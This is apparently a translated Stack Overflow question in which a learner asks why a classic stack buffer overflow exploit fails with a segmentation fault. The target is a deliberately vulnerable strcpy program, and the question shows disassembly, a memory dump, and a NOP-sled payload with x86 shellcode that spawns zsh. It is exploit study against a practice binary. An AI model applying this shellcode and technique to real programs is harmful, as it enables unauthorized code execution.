堆栈缓冲区溢出

时间:2017-03-21 22:47:03

标签: c buffer-overflow

#include <stdio.h>
#include <string.h>

int main (int argc, char **argv){
    char buffer[500];
    strcpy(buffer,argv[1]);
    return 0;
}

这是我一直在使用的代码来利用系统。我一直在尝试做的是将缓冲区溢出基本指针并返回到返回地址,然后指向缓冲区中的某个点以执行一些NOP行,直到它到达执行zsh命令行的shellcode。我一直在gdb中使用它来尝试让程序打开zsh命令行。因此,对于要输入的字符串格式,我使用python生成字符串。在此之前,我使用gdb来确定我的堆栈缓冲区有多大,这给了我这个:

0x0804843b <+0>:    lea    0x4(%esp),%ecx
0x0804843f <+4>:    and    $0xfffffff0,%esp
0x08048442 <+7>:    pushl  -0x4(%ecx)
0x08048445 <+10>:   push   %ebp
0x08048446 <+11>:   mov    %esp,%ebp
0x08048448 <+13>:   push   %ecx
0x08048449 <+14>:   sub    $0x204,%esp
0x0804844f <+20>:   mov    %ecx,%eax
0x08048451 <+22>:   mov    0x4(%eax),%eax
0x08048454 <+25>:   add    $0x4,%eax
0x08048457 <+28>:   mov    (%eax),%eax
0x08048459 <+30>:   sub    $0x8,%esp
0x0804845c <+33>:   push   %eax
0x0804845d <+34>:   lea    -0x1fc(%ebp),%eax
0x08048463 <+40>:   push   %eax
0x08048464 <+41>:   call   0x8048310 <strcpy@plt>
0x08048469 <+46>:   add    $0x10,%esp
0x0804846c <+49>:   mov    0x4(%ebp),%eax
0x0804846f <+52>:   sub    $0x8,%esp
0x08048472 <+55>:   push   %eax
0x08048473 <+56>:   push   $0x8048510
0x08048478 <+61>:   call   0x8048300 <printf@plt>
0x0804847d <+66>:   add    $0x10,%esp
0x08048480 <+69>:   mov    $0x0,%eax
0x08048485 <+74>:   mov    -0x4(%ebp),%ecx
0x08048488 <+77>:   leave  
0x08048489 <+78>:   lea    -0x4(%ecx),%esp
0x0804848c <+81>:   ret

第一个子调用告诉我缓冲区是十六进制长的0x204或十进制的516。我不是100%确定它的516不是500,因为它是一个炭而不是重点。我计划实现的shellcode是43个字节,我的返回地址我决定做10次。所以我的字符串格式如下:

$(python -c 'print ("\x90" * 457) +"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x2f\x7a\x73\x68\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80"')

我只需要在此处添加返回地址。我这样做是通过再次使用gdb在我的记忆中选择一个NOP调用的点,我只是在中间选择任何类型的移位。为此,我在$ esp。

之后在内存中打印了164个位置
(gdb) x/164x $esp
0xffffcc40: 0x00000070  0xf7fefe66  0xf7fe922d  0x90909090
0xffffcc50: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcc60: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcc70: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcc80: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcc90: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcca0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffccb0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffccc0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffccd0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcce0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffccf0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcd00: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcd10: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcd20: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcd30: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcd40: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcd50: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcd60: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcd70: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcd80: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcd90: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcda0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcdb0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcdc0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcdd0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcde0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffcdf0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffce00: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffce10: 0x90909090  0x83c03190  0x048801ec  0x7a2f6824
0xffffce20: 0x2f686873  0x686e6962  0x7273752f  0x5650e689
0xffffce30: 0xf3890bb0  0xd231e189  0x01b080cd  0x80cddb31
0xffffce40: 0xf7f95300  0xffffce60  0x00000000  0xf7dfd637
0xffffce50: 0xf7f95000  0xf7f95000  0x00000000  0xf7dfd637
0xffffce60: 0x00000002  0xffffcef4  0xffffcf00  0x00000000
0xffffce70: 0x00000000  0x00000000  0xf7f95000  0xf7ffdc04
0xffffce80: 0xf7ffd000  0x00000000  0xf7f95000  0xf7f95000
0xffffce90: 0x00000000  0x2efe3324  0x6ec91d34  0x00000000
0xffffcea0: 0x00000000  0x00000000  0x00000002  0x08048340
0xffffceb0: 0x00000000  0xf7fedee0  0xf7fe8770  0xf7ffd000
0xffffcec0: 0x00000002  0x08048340  0x00000000  0x08048361

所以我的新字符串应如下所示:

$(python -c 'print ("\x90" * 457) +"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x2f\x7a\x73\x68\x68\x2f\x62\x69\x6e\x68\x2f\x75\x73\x72\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80"+("\x30\xcd\xff\xff"*10)')

现在我已向您展示了我如何做到这一点的过程,我可以问我的问题。为什么没有这项工作我应该将所有内容替换为返回地址,然后使地址指向我的NOP调用,然后打开我的命令行,但它告诉我

Program received signal SIGSEGV, Segmentation fault.
0x90909090 in ?? ()

任何见解都会有所帮助我已经在这个问题上工作了很长一段时间,并且不知道从哪里开始。

0 个答案:

没有答案